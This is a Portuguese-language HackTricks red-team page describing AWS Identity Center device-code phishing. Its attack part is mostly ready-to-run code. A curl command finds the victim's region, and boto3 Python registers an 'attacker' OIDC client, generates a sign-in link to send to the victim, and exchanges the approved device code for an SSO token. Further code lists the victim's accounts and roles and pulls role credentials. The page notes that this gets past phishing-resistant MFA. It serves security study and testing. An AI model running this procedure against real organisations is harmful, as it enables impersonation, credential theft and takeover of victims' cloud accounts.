AWS - Identity Center & SSO Unauthenticated Enum

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Phishing de Código de Dispositivo AWS

Inicialmente proposto em este post de blog, é possível enviar um link para um usuário usando o AWS SSO que, se o usuário aceitar, o atacante poderá obter um token para se passar pelo usuário e acessar todas as funções às quais o usuário pode acessar no Centro de Identidade.

Para realizar esse ataque, os requisitos são:

  • A vítima precisa usar o Centro de Identidade

  • O atacante deve saber o subdomínio usado pela vítima <victimsub>.awsapps.com/start

Apenas com essas informações, o atacante poderá enviar um link para o usuário que, se aceito, concederá ao atacante acesso à conta de usuário AWS.

Ataque

  1. Encontrando o subdomínio

O primeiro passo do atacante é descobrir o subdomínio que a empresa da vítima está usando em seu Centro de Identidade. Isso pode ser feito via OSINT ou adivinhação + BF, pois a maioria das empresas estará usando seu nome ou uma variação de seu nome aqui.

Com essas informações, é possível obter a região onde o Centro de Identidade foi configurado com:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Gerar o link para a vítima e Enviá-lo

Execute o seguinte código para gerar um link de login do AWS SSO para que a vítima possa autenticar-se. Para a demonstração, execute este código em um console Python e não saia dele, pois posteriormente você precisará de alguns objetos para obter o token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Aguarde até que a vítima aceite

Se a vítima já estiver logada na AWS, ela só precisará aceitar a concessão de permissões, caso contrário, ela precisará fazer login e depois aceitar a concessão de permissões. É assim que a solicitação parece atualmente:

  1. Obtenha o token de acesso SSO

Se a vítima aceitou a solicitação, execute este código para gerar um token SSO se passando pelo usuário:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

O token de acesso SSO é válido por 8h.

  1. Impersonate the user

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing do MFA intransponível

É interessante saber que o ataque anterior funciona mesmo se um "MFA intransponível" (webAuth) estiver sendo usado. Isso ocorre porque o fluxo de trabalho anterior nunca deixa o domínio OAuth usado. Ao contrário de outros ataques de phishing onde o usuário precisa substituir o domínio de login, no caso do fluxo de código do dispositivo, um código é conhecido por um dispositivo e o usuário pode fazer login mesmo em uma máquina diferente. Se aceitar o prompt, o dispositivo, apenas por conhecer o código inicial, será capaz de recuperar credenciais para o usuário.

Para mais informações sobre isso verifique este post.

Ferramentas Automáticas

Referências

Aprenda hacking na AWS de zero a herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización